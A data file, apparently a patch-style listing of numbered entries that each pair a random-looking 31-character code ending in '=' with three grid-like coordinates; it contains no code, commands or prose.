+10478,CQHOT34BSTZQ2D3ZHFFFZF7Z0GYMYNU=,164,5,5 +10479,B7PBO5BC0SL8TPMP4PQ10I6ZDNDSJRP=,164,5,6 +10480,PDQ20KYU7OGQB0R9CO63IXSU91BQ77A=,164,5,7 +10481,LFP9FEIJTINW4O868FJEYG843FJA1E5=,164,6,0 +10483,N4S2TP7W91IF35XW5ASJGALPL4RMF3B=,164,6,2 +10484,A0NE3MRO4NWXC72DJ39DBAXJQIKDETI=,164,6,3 +10485,TJDD7KG13USIBTKQ7W3HFOOREE93QXV=,164,6,4 +10487,ZJ3I65RNCGVE0XG14C3CYWSC58BJ5LO=,164,6,6 +10488,NWDCXRQB9Y982A3AQ8FKPIBUNNCVIDQ=,164,6,7 +10489,41VOP15YM9NNVBHYDJ8B0V1PYG209Q3=,164,7,0 +10490,3IZAJCIGZ1BE5APMS33HRQZ2OLCM4AU=,164,7,1 +10491,TISMJ48PXGUI60HUIMDTCH4W7BTD9N5=,164,7,2 +10492,MGWE6DKVZGAIPFQ4769HP2GP63TO2L9=,164,7,3 +10493,K6JF703CDLF9K7K1YDI2B791ZTAH4FT=,164,7,4 +10494,PEBKFO8JLE3BCY31CIX8PSMMBNWDR2W=,164,7,5 +10495,2J6UWLVDXTS9AJBVKTORNLNU9Z3YPH1=,164,7,6 +10496,855HLPB5S6E9MK4N11C6VEJL6SAR4EI=,164,7,7 +10497,ER96BE1LB676O1RERLG2T8SJQWH0CUH=,165,0,0 +10498,LTT2A6060KJ9KGVOGPCHE0BGVOSCRLZ=,165,0,1 +10499,V9IFSTY8Z4LDEYOJ9BA7YSTMVMXYZVO=,165,0,2 +10500,WM1MKEAM2BTI437KJJUNCJ0BUKDMH8Y=,165,0,3 +10501,2D80RY4JB2P3PEOF25Q4Q4R2O3JG69P=,165,0,4 +10502,ML72NVMAICOVU3LG2W21WKDOB5PFXN7=,165,0,5 +10503,CJOLY6ARK1P4JEEB96HEEQO9P7GL1WY=,165,0,6 +10504,MVN6H207K1UY6G8VR42RGVHV12EUIST=,165,0,7 +10505,3I5RXL2YV93528LVHR1BYKWI2PU30HY=,165,1,0 +10506,Y7EEK31Q1RGZNGSQLE2HHTMWS8C06OJ=,165,1,1 +10507,KL6PYG4W0NP4EINYTMM5NTU4DSQLWV4=,165,1,2 +10508,NX7325L8TT4O519STMIL6ZZDVLE8B8Y=,165,1,3 +10509,PHU06V4JBHMWUJTC9YYV3I2K54KZW99=,165,1,4 +10510,8JGWYHI75XU8J4KXO2KBRG0GB2368CD=,165,1,5 +10511,JNDH6CGML26WU4B5VNYBALHU7J3OY40=,165,1,6 +10512,QWAU15T64HH8XZCBM6DGYQYP2VQ8LJM=,165,1,7 +10513,8BTZO6YAJG6KO1KH16GF5G9K1GXWNHA=,165,2,0 +10514,48J9HHBU51VLDC8MAE6EB1OZKKF95KW=,165,2,1 +10515,SQSHJA9APV9J3J08GY9W0WXQ8KINK3K=,165,2,2 +10516,HWY1JYYN4KXBZ3PZ3XGQP5126YUY28U=,165,2,3 +10517,J5TNZBFM3HJCWM3FORTZ4HEXZTEAIS5=,165,2,4 +10518,GP8TN2BKAKGBUPG16VCHLFNU1KXVDAE=,165,2,5 +10519,8W0F2L50KPCIUG2ZTUSWHI36P0T05JZ=,165,2,6 +10520,HKM0LX6GTHNN06JRZHNFKQKGTLZ7GM5=,165,2,7 +10521,I3EJZS6WY59Y0VHZRAZMI911KIVQK7D=,165,3,0 +10522,1JALOV4YYMTREMMM1EVHBY1L1QE7FX2=,165,3,1 +10523,4M3OBYGMYDZL3D7DWL10TH4CDTHXEAV=,165,3,2 +10524,UX3NHXH5KOVMTU4AH1Y714E36RNF93O=,165,3,3 +10525,AWAOGFYZ0T5G05D0759C9E7S4X4OCKD=,165,3,4 +10526,3EY6XCH1BRYUUUMJMM883025HZEDSHW=,165,3,5 +10527,UMMFL9M7G2DEJCE4ANNPSQ1H5LVX32L=,165,3,6 +10528,NBQDSV789T081FJZ57XYWF4MKX2USB4=,165,3,7 +10529,BKN1F7PNBSNVV4H9Y3UUAAJ9TEJX84B=,165,4,0 +10530,FS4JWHHI90VNMVKVUYMI08TI85IRFRS=,165,4,1 +10531,OW4NIA1N5XZAA50RZ7H6LZG4V1IOK4R=,165,4,2 +10532,M7KXRL861I8UBU4QF10ILJ7NPWO9KAP=,165,4,3 +10533,LADTH5G3GLEOX4GVXL48ZS8DDLBCWU3=,165,4,4 +10534,9J8H7WN1O1U85OZI5G6VGRKZYSYOP91=,165,4,5 +10535,TVVCLAXDLI2GR8EI7R4IBG1BE2EIPZO=,165,4,6 +10536,C5EP8KF8P8M8M4WFK2K6190XZWTT3OB=,165,4,7 +10537,D9ZIZM1CG2VYDXRON5YNC5A3A44FY0R=,165,5,0 +10538,T6TIA0PZU656LUO7TNJ1QH2O6MZ6Y5T=,165,5,1 +10539,MWQ3SAXRQKKHV11ARLV1XTNVWE1EUJX=,165,5,2 +10540,TLRL1YR515KIVV0P08JW8AAYPRSYTI7=,165,5,3 +10541,C68CXT7FHGZZ79C45MOELB97CG6JZQR=,165,5,4 +10542,F7DN52OV8457BBLU3WM4W2UDYQFB26Z=,165,5,5 +10543,IXH9YFMAWL8RRU68SAR2FP3RCCEO83H=,165,5,6 +10544,SBOD56AUMXRU6SFMRN16TZ9A2ONZJ52=,165,5,7 +10545,IGFJBREH9UX64MEFAZFV2M8DAB1BSAU=,165,6,0 +10546,W02UX2MCPH4T4L8QGXFKOSA0ZR3F81H=,165,6,1 +10547,9JCHPWEJ1BQ6A7PTHBSG5JSB4FGYBVD=,165,6,2 +10548,G8JIEIW4HRRURWSEN6ORFHOAJG4S0JQ=,165,6,3 +10549,HBN50QCQGPU4YHUVPFX558K1AHJHC7F=,165,6,4 +10550,VNG50LIAUGTOX9P8OR62UYOBMBC3TOF=,165,6,5 +10551,Z84HTGZIBXD1UX4SR0L7HPRJY2WBEAJ=,165,6,6 +10552,FUSNWSJNFUFGQE5WXVVN0JR7IVKTFC2=,165,6,7 +10553,YT86ASRCLLUS1I9RWN4P7BSNRKRRCDC=,165,7,0 +10554,KZR3HKVAPPBJJMS2JT8042O5G24FGEA=,165,7,1 +10555,L88MNBT9X0P1A30LNHM9HJG0N38JXV9=,165,7,2 +10556,IK7XHETLK66A0V14OYG2I35IMOFMNI4=,165,7,3 +10557,0RCJI1MEYZN9A3ZO7PZ11YE7E4QS6DS=,165,7,4 +10558,7TJ7F8A13RFOGM3XBZ5X7IFBBN6D8Q7=,165,7,5 +10559,NXCLSIFWUAMEVV04LA54XSENGNHGF1K=,165,7,6 +10560,5DQHJ49PPKUK7B1XCZGUBU89PN0MN8B=,165,7,7 +10561,J6WZMAHC89SXHS69O0TV1ZVSSSH219O=,166,0,0 +10562,ZLX705SRWH7ZHND3WXYAFE8C879DXLN=,166,0,1 +10563,CN216WQEZDM60FYZ5NWT6W22UKV9IG1=,166,0,2 +10564,7BWYSAI5M9R2E24YL2Y51803NHQNPIH=,166,0,3 +10565,PFQ3AARZIEGWECJ3ZE1YSMFQZHMJ5D1=,166,0,4 +10566,MK59ESKL163V6142OUDM7CIKR18XEXF=,166,0,5 +10567,U9FLA0RKXARWTFA04GUREBENLS65GUC=,166,0,6 +10568,1CUWEAQZPH41M37L4DMC2459JU3UB05=,166,0,7 +10569,R7GW93W779X2CQPFFI3K8QLHC7ACM80=,166,1,0 +10570,I51GDCWMRWGV3KXCA0RULHN7L38UE9H=,166,1,1 +10571,3JOR2Q0G8LX60N1Y7UDK53M88YLEFFA=,166,1,2 +10572,FWWM6E0ZOG7YEIGK8I8WHEE4KEG5244=,166,1,3 +10573,RJ3CEUEGTKR4GQ7CZA20XFKZ5LWQY6W=,166,1,4 +10574,FV2FV7GAPQ9Q7ZY7KNYYNLUJZAA3ZTM=,166,1,5 +10575,Q8VZC7V6KQUHAOAYPK71W2JN37J8K2U=,166,1,6 +10576,FCXL2PYVJEJGMO882RFFC9URQNAW7DA=,166,1,7 +10577,S4VH5FGJQ4T5VGA025KYDDSC1JINHK6=,166,2,0 +10578,10MTEGA9CE2QGOKFXE08XJV28S9YFBP=,166,2,1 +10579,U1L6RKBX34X1TEWY553TCPSL4AI9WDJ=,166,2,2 +10580,UCT34BGP0YFWSTN911EJ8J0Y4SRGEHL=,166,2,3 +10581,HAMG8V7J4PT5GLTDBRNCWB5CMUOBU8M=,166,2,4 +10582,CJFB4DEZPDEFAATODHTY8K018R9K5RS=,166,2,5 +10583,3A1HZ4UPN843YBGLRI5CLSA2E6FTBZB=,166,2,6 +10584,DXMDBW49ZMJW57K6M9M6D6SLMV70OUV=,166,2,7 +10585,IWESQT1SSFZFGC0XDBS1OULXEV8VP73=,166,3,0 +10586,LHGEY8OUNV41HUN3EOI40F7UJMP6PGX=,166,3,1 +10587,FEZYRJWJ5F1HYW91UBW6P4RTQAKRP5D=,166,3,2 +10588,OSLDBYX1AVKGCPU2LJF0CQMP31UPLPX=,166,3,3 +10589,DKQECVYIMEBHXNTNMYT0Q33QZ2CUHYZ=,166,3,4 +10590,OQ7SJUVRDKIW4IAPZJ1F6MB9ODNASC3=,166,3,5 +10591,WMM6HSJX0J81SNTIZGH63ETKR4ID84P=,166,3,6 +10592,SBV4YT1OIUUL9WGYZ39S6JO2PZSPKZ5=,166,3,7 +10593,NRV5IBVB8GDOMF12JKG86MJ7FZT13NC=,166,4,0 +10594,A58ZCTXQX0PPRSH87L273MCL6AY3J7H=,166,4,1 +10595,6G4G086LWJ0ZNR3MXSIHS96D80M98IP=,166,4,2 +10596,PPZPZ1UZ00N63OI7LK6QQVR0EJD89WY=,166,4,3 +10597,3JGZGIWLT7M88WUCYW9YMYCLK3NL50Z=,166,4,4 +10598,I3QVCZ66AKGZFNJA5Y5ICLFDHC0IPLT=,166,4,5 +10599,7L7D3VB4BXX2H2A30II3NZOF5KZNMXC=,166,4,6 +10600,2E6TFB1FNFF2OI7QHFE5SHSBRR6HK28=,166,4,7 +10601,OHR9PLRIY554DSRNP2JBULW2MDSTCJG=,166,5,0 +10602,2T4M73KJ64HOCYRHB772U7Q7JWS3714=,166,5,1 +10603,QGH1ZH81Q5WX0VU41NLNNT9VGZL85K4=,166,5,2 +10604,1LYGIK7FO3CZJAYXXLP00BWS21ARBD4=,166,5,3 +10605,7H0YLN5VXPKS472S2O223HP3S41PFYU=,166,5,4 +10606,OZQ00EUIBTT42JIRVXICZBGC4NABCV0=,166,5,5 +10607,GD94OK26QDKF4PSDODV6ISBGIN1MGMA=,166,5,6 +10608,QETBZXXU4SLG0N75MZBEJDD1BRV4VEK=,166,5,7 +10609,7RIJI7H1UC07NQUGIJMFSUS42B68X15=,166,6,0 +10610,YWF6S7NKDLDJFADI8O7I4OXP9PAWD1Z=,166,6,1 +10611,PWEEFYHZU6CFPRAHHBXBX7HNXVUU5U4=,166,6,2 +10612,ZO9IXY11MCDXZHKOO0IZ2EZAN84ZDJX=,166,6,3 +10613,KJII95NH9WILLURX2SCBXVHHAF4FH9Q=,166,6,4 +10614,CEFTKS06DJCOL2DUOLHMKPY62KCH6OJ=,166,6,5 +10615,UQWBM7PDFHHJC6N62PB6VKLLH80P00H=,166,6,6 +10616,VQSNEWUPGSHUS4QMZPSPH4B3RA8SMPZ=,166,6,7 +10617,PNXRRXVVWGTVHGUZY2XUKBDLC6FKX8L=,166,7,0 +10618,3WFDG8OWWRLZSB9HW484HHD42AVZDT1=,166,7,1 +10619,L5N8QKF1BOAPHZHORT8V6OIR28JEBZ2=,166,7,2 +10620,JEO9DUZUVAMPTS01HTBL889B1H0D46O=,166,7,3 +10621,OECAVNPABOJ4WYSACEG555MGIEOTMQK=,166,7,4 +10622,L713KTA89N53X8QBCXMNIBRYJC7ZXVU=,166,7,5 +10623,WYU1P69G8UEK455N7577XDQTD3E5ABN=,166,7,6 +10624,GI57F0XHH5C1JNBEJN30E6D3OM01KK8=,166,7,7 +10625,SCKR6XR805272327KOTH4XUV6DFAI4C=,167,0,0 +10626,Q894AY8ZXUU8GKP9805K64MNLT9K2GU=,167,0,1 +10627,C74PB51G6B3JYHU1XEBDMC4SXO6PA8R=,167,0,2 +10628,MY3LSOF591IJALT8V2WDPJ464ACQCGQ=,167,0,3 +10629,BTBD0M7RGGQCPOMVJLLAGYHSXTCN25X=,167,0,4 +10630,5WMJ945HMP0TPX5H6ABOKKIITQXNWSL=,167,0,5 +10631,KF5BYP639NFQJCSSZR3323ULCV34X0C=,167,0,6 +10632,WRRSZ6FQ5CGYEAW0DQV9VECPRMR62EH=,167,0,7 +10633,JW06G01HB6CQYLGH1OXQID6N11KGSPD=,167,1,0 +10634,W5PBERTEDKMVUT73HILUQ0LLWAW7AYH=,167,1,1 +10635,9DATL0UBYUZCFSPY8APQKHF0H9JTBRD=,167,1,2 +10636,FLX987SNE5DBD1TLAQCRHCLMLKGEIFV=,167,1,3 +10637,H7GZ7JQM0J3ZUQXAGKZJQIY0LYGV1CI=,167,1,4 +10638,ZYGXD5LAEXKMSL8VL3VG4UDDNSYDX6I=,167,1,5 +10639,JC3CV53QS9PBMESJ6NFRGS8ZG8O8D5M=,167,1,6 +10640,6UZ79DKIKBSWQ1F4BGOIEJL3OXJDSNK=,167,1,7 +10641,1VF99ZUB502D6W2PR3VAM4VVQX9L0Q6=,167,2,0 +10642,3H8TFHJLIBX4AR5ZK4N1NIS1OVGYKZC=,167,2,1 +10643,6AZ6DCJ368608IP6RRTBHVKWYFKXTIM=,167,2,2 +10644,VF41368TA4T2G431Q9XIE6JF7GWD4TJ=,167,2,3 +10645,ZMFODZFKA2TQBXMZGXBBLZJMIHEP3SI=,167,2,4 +10646,V9F90Y0K4FECBHNLVMYOFMWTO29WURP=,167,2,5 +10647,L4C0R2447W6FAOLQ8DIMDT6IFJEJW24=,167,2,6 +10648,EIVQHGXWJZAOKF6BYUYEJC2194E8O6P=,167,2,7 +10649,NICPP6JKQO4QOEL2OAF4UZOJ9UGLSET=,167,3,0 +10650,I988MS603T8J31Q28PRBE4WWCJZQV23=,167,3,1 +10651,K9J0O766HDJP1AOS92VIIX0Z1LSCB6M=,167,3,2 +10652,5D2FQACTOCR1OJ0DXP3B1BQKI0HYKVM=,167,3,3 +10653,DZ9UTIQKERX5C1PZEU03N3J5MOI5LXY=,167,3,4 +10654,RFMOL729CFE95VBK16JOLB5U93LDBKW=,167,3,5 +10655,2F1WGCUWGMP4XKFNIJPZKVO6NSWJENW=,167,3,6 +10656,6GS7U55E7FL5R3X4F9DHKEP1HPP1T0W=,167,3,7 +10657,Z1X8SYMIX3HNPTFKZHAHPI7GBJ5LA1V=,167,4,0 +10658,NQH55RFYO3JK3F7T7SDGKJ22WX39T7X=,167,4,1 +10659,LU861K9GFE6UFM6ZEF84CEAHR82REOI=,167,4,2 +10660,BQFKZIHE2D2EY5PC5ZFEDR5Y23WG06T=,167,4,3 +10661,RKLJ06XONOJUWVXZHHEQ2H36VKBGXFX=,167,4,4 +10662,9VPJGNK6HZB2UPQIAPKB0SBA0FEGTDI=,167,4,5 +10663,OFEL3T6J0CH3NPWTJ3EYVE83W2XGJLE=,167,4,6 +10664,LF68G5HXRQ4OB04YXRYDVYK2RQWAW7O=,167,4,7 +10665,ZRJIVF2I94C54IWKVHQ6M6KEAQEITGR=,167,5,0 +10666,N8ISSQH29W4M5FCKHTO97RLE5R8OIFY=,167,5,1 +10667,4F5RLM6RMPOZQVZH7IVXSJ32WMOOPUE=,167,5,2 +10668,GNONVAQDHBREY65VLLN64GLK4635BYL=,167,5,3 +10669,WJLJM44PO2SO4OSYKPX4LXX93VF0M1K=,167,5,4 +10670,UUP3XUU1WYW6LT8NIJFSWYSG9YX8SQ7=,167,5,5 +10671,PNMPOLONR3OBOJFAKXD2G1P5Q0JWIM0=,167,5,6 +10672,TULJ7J5Q60NWNX5T2K3V7O9DXX3FD2S=,167,5,7 +10673,YY9YVYK37CO1KZO03FS1RDD0D0JITHW=,167,6,0 +10674,TFMR95CFWH50RI16LXYCFWUUNG38U3N=,167,6,1 +10675,D3I5SKXOAH9LEI804G7A2I2G34398SS=,167,6,2 +10676,00DWODH26XY0RDNEV9TJ5GFSHQU4030=,167,6,3 +10677,LNYYL67YEJG5J1OZFZLDXSSVRZLHSRA=,167,6,4 +10678,HZK41G2UWI25ZB00M7V91PKJ9LN96F8=,167,6,5 +10679,JEL4XAN1FVFP31YMTAS4TVHH3LN26OV=,167,6,6 +10680,11P62E25XLIUCVS1FJK4YDMU0U1E66A=,167,6,7 +10681,B7KFFR6E37FQNBEKGS9SIYQN7XU2X9U=,167,7,0 +10682,DXTMXRG21K6T1O6FR1DP2MGCTJ9DBS4=,167,7,1 +10683,VL58IEPDNYXAIPSG0LZRMCNAF15VF9P=,167,7,2 +10684,DGALW8TPFLB6XF9W2LCDCLID4GKEWT7=,167,7,3 +10685,C98XISQRR07T0A45W6UOLN239WZFH5U=,167,7,4 +10686,SUOCVMF4XXIUQWM6N85H4T7ND4PXU6K=,167,7,5 +10687,3V4EROTFMZ1LHDW03T2ORHRC6UC2F8W=,167,7,6 +10688,UL4TCJ2696EP1DDY1TKJW5UUC3S9M1J=,167,7,7 +10689,14DMPUMIUQQ3YYRHTUVF41X7QV8Y0MY=,168,0,0 +10690,681MGSPYQD1R0HWYFXJ7TR8EC2YX9ON=,168,0,1 +10691,74H545FY9JX6G2WN6YZ5QN0DFUPFFUM=,168,0,2 +10692,PAAZL55RF1612R70QGOAPTIGS0EQ457=,168,0,3 +10693,O719K42ZNM1WH8E3Z058EQF9H3RREQ2=,168,0,4 +10694,YOTSVDI7E7Y8XCGUIE019DSUVFO4L2V=,168,0,5 +10695,5DXL9DJF9C8QM6CZEJ0VICUAKH0WYVB=,168,0,6 +10696,OANWSA4SCCY5ZDBI9XR1UK8P4XZSONL=,168,0,7 +10697,357HGLHJA1IV9XFCHR4YOSOQGT2UBV1=,168,1,0 +10698,HVAFB5BMPVMLEDMB4SFGJN4WJZHF8IL=,168,1,1 +10699,X792710623YU7UJVN6ABJNDYVBLYN1T=,168,1,2 +10700,2IODQXT1M3DAP79W9XWN2V0FRCUOIT4=,168,1,3 +10701,TW8KW2N64JXJPB8G8L7LP69YZ4ACLVF=,168,1,4 +10702,IUAH0HCJ5SFR90Z8KR6PEZI2R8DI1MP=,168,1,5 +10703,4LPIK0N0XDWHWAFA5GTDGTMQXIKIK8N=,168,1,6 +10704,Q9EJLNKN51EQPHUWM56E82FSCEMWSJU=,168,1,7 +10705,7M7X9NK7NBM5N3RV23Q3IR2K990IZWQ=,168,2,0 +10706,HX7RMU8N1SLMTKDIHBKOGXLZ2OELG3O=,168,2,1 +10707,L3P42SCIE2P8R4AR3F52LXZW5PHZHM0=,168,2,2 +10708,8CFZFLZF6HJY68LV1IK4W4M1RMDW8WX=,168,2,3 +10709,XUY9CSIE1IGN4X7BIWV9U9NBI9BYNXH=,168,2,4 +10710,CW0SYRCZDJX4FKWGEQB7SJK2AMWS96I=,168,2,5 +10711,4ARK73OP68S5NIKUY44D9X4LX3T3PLG=,168,2,6 +10712,EECWMQVMIKKZ6NLZD4IPML9WTHMM2OH=,168,2,7 +10713,7FF66P9UQACGI3V25FITHDX1A0K6K67=,168,3,0 +10714,SVGIH5HOI44WE4VEYT3EOB74KTK89AP=,168,3,1 +10715,XC8EQB7U6YHGAJ5YOKLPTN6J8PBL385=,168,3,2 +10716,HBWETJGDAOWX6CQWNY0XQ42ZMCFFBA9=,168,3,3 +10717,5RC21AG00MGCAGQ0G9H13XUK5QPA5G8=,168,3,4 +10718,E0IMB58WW42P7CKH2M6PFOK8QD63SY2=,168,3,5 +10719,8RLTD72FLI8YB9V6OYOF6B5O17EO9CE=,168,3,6 +10720,8L39BCR9HV4RFKZ8K46R3P7EIFQDWT7=,168,3,7 +10721,JBIVKGGHFA7GMJ0NHDMDZNCGOUXRFZ1=,168,4,0 +10722,FWJ06XVXF8IYLIJKH80AOC3N4ARV4JI=,168,4,1 +10723,47BC3BCBULY85FKLJ6VT7X8ZN7J0OBD=,168,4,2 +10724,9E5I1W0IXVAX4C6QREIRD710OUYYKZS=,168,4,3 +10725,HDBHOL565YZQ8TF1KX4YSYMEY195BE6=,168,4,4 +10726,T7IWR6K4VQHGYGDXW3RBX0XV7KWL4XK=,168,4,5 +10727,VLZG76RC38JFW80PG7SFSM7MNSUCS49=,168,4,6 +10728,CNQRSYK157EGCC9OUT4848L7HIFBEZL=,168,4,7 +10729,LAGVUWCIDCY5JK8OHYD533J8L06JNC3=,168,5,0 +10730,R1MTIRIS095IGSWXT7ENDLFWM8E18NS=,168,5,1 +10731,XDIKWM6DFAM6PK0TE84PKAGF61F054R=,168,5,2 +10732,PEMN2OFW9F9DGPX3IWRMQ673F1CGZBR=,168,5,3 +10733,HILZLI5EIDWZ1XYGVZPY95OWHDXP495=,168,5,4 +10734,992I6PLSCVNLM4LWJF62JWN3EUFPQHQ=,168,5,5 +10735,RFRNELN0ETCZO83VT6V18GPVH83SY0E=,168,5,6 +10736,GXI92A41DQRJKGVUT3LFMR70NEOWL3Z=,168,5,7 +10737,NTTX9TBJDCYWN26VFXKSOP813455UV1=,168,6,0 +10738,EAI3QC1UIUCYEWJQ9NBIXEDPKPT2HD0=,168,6,1 +10739,65HV1O0SFUZHRNNWAALSF5H25RYANEM=,168,6,2 +10740,SOBESZVEMZ04RGBAEBL5C4SFEF2S6W8=,168,6,3 +10741,9INF7SJYOWDQJL917JGRI8D092SIWNR=,168,6,4 +10742,CFMAD6H6ONXGQQCYQRHOP219F9MZSNR=,168,6,5 +10743,ITO9TE5VHQUS6DD99DE0FBBPD0AWRGE=,168,6,6 +10744,INSO6FRSDA77G3I9YAIZ4MYWHA40BAW=,168,6,7 +10745,N3CD4UIR992AIM91UKXO1F8179CO6SX=,168,7,0 +10746,RPW7CEROZ820EEURCJI1MD05N92S1OG=,168,7,1 +10747,DS57W5O60H2YU29LG4FNTJNHYZ96AP7=,168,7,2 +10748,E1VTGFMB9JJEKF3GDOKDL4K0B2J2K9T=,168,7,3 +10749,HXF5L5ZJXWPQ65S1NQOI91MWEDP7TU0=,168,7,4 +10750,2Q7TTBYX51IV31ZDKH9Q6W1J64PSL02=,168,7,5 +10751,6WR9N3WJ7RCWOHC1HG5616LON3Z41YV=,168,7,6 +10752,2D1IQMKM809F9RE4AZZ8TLHEDUKSKCQ=,168,7,7 +10753,YRFSU5G5977DB93SFXU2J140ZWO6UOQ=,169,0,0 +10754,W9YE4E98S3QO3979294RC5RDOPWLK67=,169,0,1 +10755,UPG81X71JNM0BVSJZG70SSWVUS10MKF=,169,0,2 +10756,3HBYXVYX9P6TAS6WNZN50SJ36KP3RDA=,169,0,3 +10757,B1S9KDCF2FFI0OA8Y1DYS0TM1NI0MDD=,169,0,4 +10758,V0I16JXKOOZPDR7XQ45O4PL0HB61BFA=,169,0,5 +10759,OYQJPRO3YK3I70VAJT55NRNKW9W54EK=,169,0,6 +10760,E21M5J01OG27LOVASGIQVQJN9E9RJAN=,169,0,7 +10761,BBGM2LHA6S7T4OGBRBZ2NVG2S45N75P=,169,1,0 +10762,X583P5S5IPL439W01A4V196EVPYX6U6=,169,1,1 +10763,Y4BUIY6L3WHVS7I9THWIEW3J2MWU34W=,169,1,2 +10764,6ZBM7AEMCXP0EU0HOZGVT50NL5D18WU=,169,1,3 +10765,IHYBSB94BNHG7BC1Z9Q192XT39JBQ0V=,169,1,4 +10766,IB27G9QICYUN5XXWG3YAMFQYJA53YE7=,169,1,5 +10767,JAS812IXX04WC465EILJWV8BS7893VE=,169,1,6 +10768,VE8MYFYMFP9JIHW18WZQ677LRY7SETA=,169,1,7 +10769,NICXFJM8AXK7AYIJ5IZZJY4D9H4KWES=,169,2,0 +10770,LXQDUBJIUQR82ASTNQIL2740XGVLOK0=,169,2,1 +10771,25FJMTPZSDBPNQ06KCKQH72DIZ88XIG=,169,2,2 +10772,466ORVONGQV4LUDUMJGG67L3QPU5365=,169,2,3 +10773,8K1XQGI4LWTYSHAEV61P3YYATR2EMQG=,169,2,4 +10774,3MPEANVDPZZDUIZJ5Y783FZMM14QA4F=,169,2,5 +10775,HE71DDGP7RTY7E2GLBJ07NA9O8Y3QHL=,169,2,6 +10776,10KIL7ASCLWRKQQWOJEO0QZTFYJG4KB=,169,2,7 +10777,N95GYJP0APT20G95N79NMT1B3EZHPT6=,169,3,0 +10778,Q5NONAGBD2QWJ2OGJIQNGCN07L1GDSC=,169,3,1 +10779,Y00EA5KCNDORZVFY91Y79T6C1JP8HBG=,169,3,2 +10780,W0GPMAM8SF0R03LT041XFXD3YDWV3XX=,169,3,3 +10781,1M8BG2V3JMEJEAV9AOYISDX0SZX35H5=,169,3,4 +12554,EUUO8KDE0N2JJ32JGA9LL5GUSAQWMT8=,197,1,1 +12555,KEJ4V2UPRLWKOS8YCEUCR4BMVQDREYD=,197,1,2 +10784,U1A51ZRHI1EFG0572QZ77ML8I98LALE=,169,3,7 +10785,G5YACJ9QWJKK3UQCOGXPTQYK2U6MVS8=,169,4,0 +10786,QCLWJAXL44SKMSTUT9KJQH3M2270B71=,169,4,1 +10787,9AX7Y5CCAR7QPXGS2C5NHNKYZNTTYW6=,169,4,2 +10788,TNVI0505UA8EFPN20R8XM5XKHXEE52S=,169,4,3 +10789,QKCY7B63X2HMHERGYULASVR9JQ1H5RI=,169,4,4 +10790,0Z2OOCHAIM00Y7Z5GIUMESGOW6NLNXU=,169,4,5 +10791,WCFWG8M5J1NSQ9H37Y4CBTMEGYR13SG=,169,4,6 +10792,TZD14DWQRJIQ2CK5BTRGKI5XVYAYQI2=,169,4,7 +10793,72I8KVRI3XNSO5EYCYX342XW632XDA6=,169,5,0 +10794,VMDUH4DIIZHPWLBVAO64IAIDR4ANUJP=,169,5,1 +10795,KK922NW98W2GAX59Q43WTK0ZE6UKBGT=,169,5,2 +10796,OTLGH38HWTIII7KEN9ZOHSS1TKGPRC2=,169,5,3 +10797,ELI8O5WH3S6SRWM9R9GAZI2R1ILUR46=,169,5,4 +10798,W3EAVSX3E8ZETKF5BZHVQVYPBS4QV2L=,169,5,5 +10799,7PU280PNRY6E3UJZ7PSXSR0U9P2JV0V=,169,5,6 +10800,XQKNFIU3HJOPCLRADCZKHKALAS1QFDE=,169,5,7 +10801,W0JHIMEXEJY88GIKQ698ELFNZVX6JGI=,169,6,0 +10802,1Y2MUFJKDJN7YAKH60TGAU9NM5YURMO=,169,6,1 +10803,8FAS2S41EY381Y1WEXC5EJTYGW1BKSB=,169,6,2 +10804,P26QLPSZ7GCVBA8JHBG8HOEHPU6G7N9=,169,6,3 +10805,TFW19YRR0M8VY88OAQ945E0Z2G4TDRI=,169,6,4 +10806,9YWMB4RZDBJJWCSC917BWSHNUW5JAEV=,169,6,5 +10807,GOZOFGO4T9ESUFABC6DGV26U77VKAI9=,169,6,6 +10808,4Q2LHEZBTD3VVMBH7GG5VT5ZM2I2FRX=,169,6,7 +10809,HLMLEC88M6XS8U5U7EUELCLE3ZOEBQ6=,169,7,0 +10810,KUIXD8I38ZMARFDR0DDTXYMOUHBBLWT=,169,7,1 +10811,OZ2JMNSGCUMEEL39080CRK5ZU411V3D=,169,7,2 +10812,NNEGYS82EEB5OWO6XN065EVNMJV7C8O=,169,7,3 +10813,2ZNM1SAFNPRXTFP2FORMC6PTF6QD3TN=,169,7,4 +10814,NLNRA0XU99ZGVSNT6S2XU9YFCXSU7XO=,169,7,5 +10815,IN9UPUFK9XH0EURFUNDBPAYMKLHZ9MJ=,169,7,6 +10816,SZEOJPUXKUEANCYGPIDXIYS27WHVGRO=,169,7,7 +10817,OW5HKUROBVU6LM9DGO66FVPE8MNTNX9=,170,0,0 +10818,4CB1B89BIOK21YPCYL5JHI9XAI2GJ1I=,170,0,1 +10819,I3HDRMF44IMUDQXW87I892BKEIQVKQS=,170,0,2 +10820,G5N2J8Y4P1JOWQ5LLARRXLN9X5HBJKH=,170,0,3 +10821,R3GB2DSM834DZGJBAIK9Z1LDCT9V3M4=,170,0,4 +10822,5WLUWJWORA8XOAPWT0SGD6QKZTTMIOT=,170,0,5 +10823,JIFO9SKHNGPSV7UAO4BXR3EDCP34VGR=,170,0,6 +10824,T2YM7PAK3H0YB5KF6B4RM1I43YXMT26=,170,0,7 +10825,3X5ULWTRY3ACIVAB3PX0OH7030ROP1K=,170,1,0 +10826,ADE2S27Q0INV9UXS2T0IC12YZF2TXYL=,170,1,1 +10827,ETC1QCTJ6T9VQG5JADWJ4BXETGIWHLV=,170,1,2 +10828,5ZHQG9AA9Q4R9M9JAWFEWZ45HTCNTEP=,170,1,3 +10829,OR60BUSB3JBS2E5DUTR5PLD1HPSGQX4=,170,1,4 +10830,4LCH5LYOXIDTMUUWA7MN1OAVZQBSVPR=,170,1,5 +10831,J5C73V5CJG8MAQDHIRS6GBHZ68WUOIZ=,170,1,6 +10832,NRANI1BXFQROSJLQX350RWF58GA23FV=,170,1,7 +10833,UK85Z57QQ1NH1EK6V9UMCDP87CGZG8L=,170,2,0 +10834,EAFOBLR5G7GJXIVBVC4SKPM5B8JF3QY=,170,2,1 +10835,TOHCEV1QM7LEI2SLRGY0DALWFGFDWQN=,170,2,2 +10836,D4CG6R7J4UTBOZ633HG5GY8L4R48MCP=,170,2,3 +10837,GJ2VZA0U3YRQ40KPAPNQW4SL3F36URY=,170,2,4 +10838,ZP5SV0YMUOKAE38E3S4QWX4YH1E2B45=,170,2,5 +10839,VSAXFQBGE9BHC4FF49RF9HJXB25309P=,170,2,6 +10840,KK6FOL15Q4GOWLYSVBWV81B7XSF0E8S=,170,2,7 +10841,PB5QFQHVRI5XMDWC1QLFKRB9UWPR3YS=,170,3,0 +10842,FNS81ZFFGK4PVG1GHWKB07DNJ34AMNI=,170,3,1 